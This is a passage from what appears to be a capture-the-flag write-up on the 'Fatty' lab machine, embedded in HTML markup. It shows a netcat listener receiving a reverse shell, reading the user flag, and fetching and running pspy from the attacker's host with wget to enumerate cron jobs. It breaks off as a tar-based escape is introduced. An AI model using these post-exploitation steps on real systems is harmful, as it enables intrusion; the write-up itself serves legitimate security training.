&lt;PROG&gt;<\/code><span>\u00a0<\/span>to be the last argument. Otherwise, the<span>\u00a0<\/span><code>nc<\/code><span>\u00a0<\/span>command will fail.<\/li>\n<\/ol>\n<p>But when the payload is generated as above, everything should work fine and you should finally obtain a reverse shell on the<span>\u00a0<\/span><em>fatty<span>\u00a0<\/span><\/em>application server:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali:~$ nc -vlp <\/span><span class=\"enlighter-n1\">4444<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Version 7.<\/span><span class=\"enlighter-n1\">80<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> https:\/\/nmap.org\/ncat <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Listening <\/span><span class=\"enlighter-k9\">on<\/span><span class=\"enlighter-text\"> :::<\/span><span class=\"enlighter-n1\">4444<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Listening <\/span><span class=\"enlighter-k9\">on<\/span><span class=\"enlighter-text\"> 0.0.0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">4444<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Connection from 10.10.10.174.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Connection from 10.10.10.<\/span><span class=\"enlighter-n1\">174<\/span><span class=\"enlighter-text\">:44875.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">id<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uid=<\/span><span class=\"enlighter-n1\">1000<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">qtc<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> gid=<\/span><span class=\"enlighter-n1\">1000<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">qtc<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> groups=<\/span><span class=\"enlighter-n1\">1000<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">qtc<\/span><span class=\"enlighter-g1\">)<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Like already mentioned, the application server is hosted inside of a docker container, but already here we can find a home directory for<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>containing the user flag:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">ls -l \/home\/qtc<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">total <\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">---------- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> qtc qtc <\/span><span class=\"enlighter-n1\">33<\/span><span class=\"enlighter-text\"> Sep <\/span><span class=\"enlighter-n1\">24<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">15<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k9\">user<\/span><span class=\"enlighter-text\">.txt<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Notice, that the<span>\u00a0<\/span><code>user.txt<\/code><span>\u00a0<\/span>file has its permissions set to<span>\u00a0<\/span><code>000<\/code>. This is because I was paranoid that someone could break the filters on the<span>\u00a0<\/span><em>path<\/em><span>\u00a0<\/span><em>traversal<span>\u00a0<\/span><\/em>vulnerabilities and might be able to access arbitrary files. By setting permissions to<span>\u00a0<\/span><code>000<\/code>, the file is not directly accessible, but once you got<span>\u00a0<\/span><em>RCE<span>\u00a0<\/span><\/em>you can use<span>\u00a0<\/span><code>chmod<\/code><span>\u00a0<\/span>to adjust the permissions and read the flag:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">chmod <\/span><span class=\"enlighter-n1\">400<\/span><span class=\"enlighter-text\"> \/home\/qtc\/<\/span><span class=\"enlighter-k9\">user<\/span><span class=\"enlighter-text\">.txt<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">cat \/home\/qtc\/<\/span><span class=\"enlighter-k9\">user<\/span><span class=\"enlighter-text\">.txt<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">7fab<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<h2 id=\"escalating-to-root\">4.0 \u2013 Escalating to root<\/h2>\n<p>By abusing the vulnerabilities contained inside the<em><span>\u00a0<\/span>fat client<\/em><span>\u00a0<\/span>we have managed to obtain a reverse shell and have now access to the docker container as the user<span>\u00a0<\/span><em>qtc<\/em>. Our next step is to get access to the underlying docker host, ideally already as the root user.<\/p>\n<h3 id=\"odd-services\">4.1 \u2013 Odd Services<\/h3>\n<hr class=\"wp-block-separator\" \/>\n<p>Before starting to enumerate, we should try to obtain a better shell. Unfortunately, neither<span>\u00a0<\/span><em>python2<span>\u00a0<\/span><\/em>nor<span>\u00a0<\/span><em>python3<span>\u00a0<\/span><\/em>are installed on the container, which prevents us form using<span>\u00a0<\/span><em>Pythons<span>\u00a0<\/span><\/em><code>pty<\/code><span>\u00a0<\/span>module. Also<span>\u00a0<\/span><em>SSH<span>\u00a0<\/span><\/em>is no solution, since the<span>\u00a0<\/span><em>SSH<\/em><span>\u00a0<\/span>server exposed by<span>\u00a0<\/span><em>Fatty<span>\u00a0<\/span><\/em>is not the same that is running on the container. It seems like we have to be satisfied with<span>\u00a0<\/span><code>ash -i<\/code>, which at least displays us an ordinary command prompt. Additionally, we can use the following redirection of<span>\u00a0<\/span><em>stderr:<\/em><code>2&gt;&amp;1<\/code>. Otherwise we will not be able to see the standard error of ordinary commands.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">ash -i <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\">&amp;<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/home\/qtc$<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>After identifying the<span>\u00a0<\/span><em>path traversal<\/em><span>\u00a0<\/span>vulnerability inside the<span>\u00a0<\/span><em>fatty-client.jar<\/em>, we already discovered that the docker container starts<span>\u00a0<\/span><em>crond<\/em><span>\u00a0<\/span>and<span>\u00a0<\/span><em>sshd<\/em><span>\u00a0<\/span>manually. It seems like these services are required for some reason and we investigate why this is the case. So as a first step, let\u2019s try to check our<span>\u00a0<\/span><em>crontab<span>\u00a0<\/span><\/em>to see if there are some jobs configured:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/home\/qtc$ crontab -l<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">crontab: must be suid to work properly<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/home\/qtc$ ls -l \/etc\/crontabs<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">total <\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw------- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">64<\/span><span class=\"enlighter-text\"> Oct <\/span><span class=\"enlighter-n1\">4<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">08<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">34<\/span><span class=\"enlighter-text\"> qtc<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw------- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> root root <\/span><span class=\"enlighter-n1\">283<\/span><span class=\"enlighter-text\"> Jan <\/span><span class=\"enlighter-n1\">23<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\"> root<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The first error message shows that<span>\u00a0<\/span><em>crontab<span>\u00a0<\/span><\/em>is not installed as<span>\u00a0<\/span><em>suid<\/em>. This is because<span>\u00a0<\/span><em>crontab<span>\u00a0<\/span><\/em>is implemented using<span>\u00a0<\/span><em>BusyBox<\/em><span>\u00a0<\/span>on the container, and<span>\u00a0<\/span><em>BusyBox<\/em><span>\u00a0<\/span>has no<span>\u00a0<\/span><em>suid<span>\u00a0<\/span><\/em>bit set. As you can see from the second output, the<span>\u00a0<\/span><em>crontabs<span>\u00a0<\/span><\/em>are only accessible by root and therefore we have no option for displaying them. Luckily for us,<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>has created an<span>\u00a0<\/span><code>\/etc\/crontab.back<\/code><span>\u00a0<\/span>folder as a backup. This folder is owned by<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>and we can read the contained<span>\u00a0<\/span><em>crontabs<\/em>:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/etc\/crontabs.back$ cat *<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> * * * * \/bin\/tar -cf \/opt\/fatty\/tar\/logs.tar \/opt\/fatty\/logs\/<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-c0\"># do daily\/weekly\/monthly maintenance<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-c0\"># min hour day month weekday command<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">*\/<\/span><span class=\"enlighter-n1\">15<\/span><span class=\"enlighter-text\"> * * * * run-parts \/etc\/periodic\/15min<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> * * * * run-parts \/etc\/periodic\/hourly<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">2<\/span><span class=\"enlighter-text\"> * * * run-parts \/etc\/periodic\/daily<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">3<\/span><span class=\"enlighter-text\"> * * <\/span><span class=\"enlighter-n1\">6<\/span><span class=\"enlighter-text\"> run-parts \/etc\/periodic\/weekly<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">5<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> * * run-parts \/etc\/periodic\/monthly<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>While the root user has no custom<span>\u00a0<\/span><em>cron<span>\u00a0<\/span><\/em>jobs defined, we can see that the user<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>creates a new<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>file inside of<span>\u00a0<\/span><code>\/opt\/fatty\/tar<\/code><span>\u00a0<\/span>every full hour. The contents of the<span>\u00a0<\/span><em>.tar<\/em><span>\u00a0<\/span>file are the log files generated by the<span>\u00a0<\/span><em>fatty-server<span>\u00a0<\/span><\/em>application.<\/p>\n<p>Since the cronjob runs as<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>and the log files of the application server are already readable from our current position, it seems that we cannot profit from this<span>\u00a0<\/span><em>cronjob<span>\u00a0<\/span><\/em>directly. But there is the possibility that the cron backup folder contains outdated<span>\u00a0<\/span><em>crontabs<span>\u00a0<\/span><\/em>and we should definitely give<span>\u00a0<\/span><a href=\"https:\/\/github.com\/DominicBreuker\/pspy\" target=\"_blank\" rel=\"noreferrer noopener\">pspy<\/a><span>\u00a0<\/span>a try to see what else is running regularly on the container. We can use<span>\u00a0<\/span><code>wget<\/code>, which is installed on the container, to upload<span>\u00a0<\/span><em>pspy<span>\u00a0<\/span><\/em>and after execution we get the following result:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/tmp$ wget 10.10.14.<\/span><span class=\"enlighter-n1\">17<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\">\/pspy64<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Connecting<\/span><span class=\"enlighter-text\"> to 10.10.14.<\/span><span class=\"enlighter-n1\">17<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\"> 10.10.14.<\/span><span class=\"enlighter-n1\">17<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">pspy64 <\/span><span class=\"enlighter-n1\">100<\/span><span class=\"enlighter-text\">% |********************************| 4364k <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">00<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">ETA<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/tmp$ chmod +x pspy64<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">164d6a53be73:\/tmp$ .\/pspy64<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Config: Printing events <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-k9\">colored<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-k9\">true<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\">: processes=<\/span><span class=\"enlighter-k9\">true<\/span><span class=\"enlighter-text\"> | file-system-events=<\/span><span class=\"enlighter-k9\">false<\/span><span class=\"enlighter-text\"> ||| Scannning for processes every 100ms and <\/span><span class=\"enlighter-k9\">on<\/span><span class=\"enlighter-text\"> inotify events ||| Watching directories: <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">\/usr \/tmp \/etc \/home \/var \/opt<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">recursive<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> | <\/span><span class=\"enlighter-g1\">[]<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">non-recursive<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Draining<\/span><span class=\"enlighter-text\"> file system events due to startup...<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">done<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">46<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">CMD<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-e3\">UID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">7<\/span><span class=\"enlighter-text\"> | crond -b <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">46<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">CMD<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-e3\">UID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">1000<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">238<\/span><span class=\"enlighter-text\"> | .\/pspy64 <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">46<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">CMD<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-e3\">UID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">1000<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">183<\/span><span class=\"enlighter-text\"> | ash -i <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">46<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">CMD<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-e3\">UID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">1000<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">152<\/span><span class=\"enlighter-text\"> | \/bin\/sh <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">46<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">CMD<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-e3\">UID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\"> | \/usr\/sbin\/sshd <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">46<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">CMD<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-e3\">UID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">1000<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\"> | java -jar \/opt\/fatty\/fatty-server.jar <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">46<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">CMD<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-e3\">UID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> | \/bin\/sh .\/start.sh <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">02<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">CMD<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-e3\">UID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">245<\/span><span class=\"enlighter-text\"> | sshd: <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">accepted<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">02<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">CMD<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-e3\">UID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">22<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">246<\/span><span class=\"enlighter-text\"> | sshd: <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">net<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">02<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">CMD<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-e3\">UID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">1000<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">247<\/span><span class=\"enlighter-text\"> | sshd: qtc <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">2019<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">10<\/span><span class=\"enlighter-text\">\/<\/span><span class=\"enlighter-n1\">04<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">09<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">02<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">CMD<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-e3\">UID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">1000<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PID<\/span><span class=\"enlighter-text\">=<\/span><span class=\"enlighter-n1\">248<\/span><span class=\"enlighter-text\"> | ash -c scp -f \/opt\/fatty\/tar\/logs.tar <\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>It seems like a remote user is connecting to the<span>\u00a0<\/span><em>ssh server<span>\u00a0<\/span><\/em>and uses<span>\u00a0<\/span><em>scp<\/em><span>\u00a0<\/span>to copy the<span>\u00a0<\/span><em>logs.tar<\/em><span>\u00a0<\/span>file that is generated by our<span>\u00a0<\/span><em>cronjob<\/em>. If you run<span>\u00a0<\/span><em>pspy<\/em><span>\u00a0<\/span>over a longer period of time, you will notice that this event occurs each minute. So it seems like some other host has a<span>\u00a0<\/span><em>cronjob<span>\u00a0<\/span><\/em>configured that pulls the logs of the application server periodically.<\/p>\n<h3 id=\"strange-tar\">4.2 \u2013 Some Strange Behavior of tar<\/h3>\n<hr class=\"wp-block-separator\" \/>\n<p>It may feels like we are still missing some information, but there is not much more to enumerate and as it turns out, the observations from above are sufficient for breaking out of the container.<\/p>\n<p>A long time ago there was an interesting<span>\u00a0<\/span><a 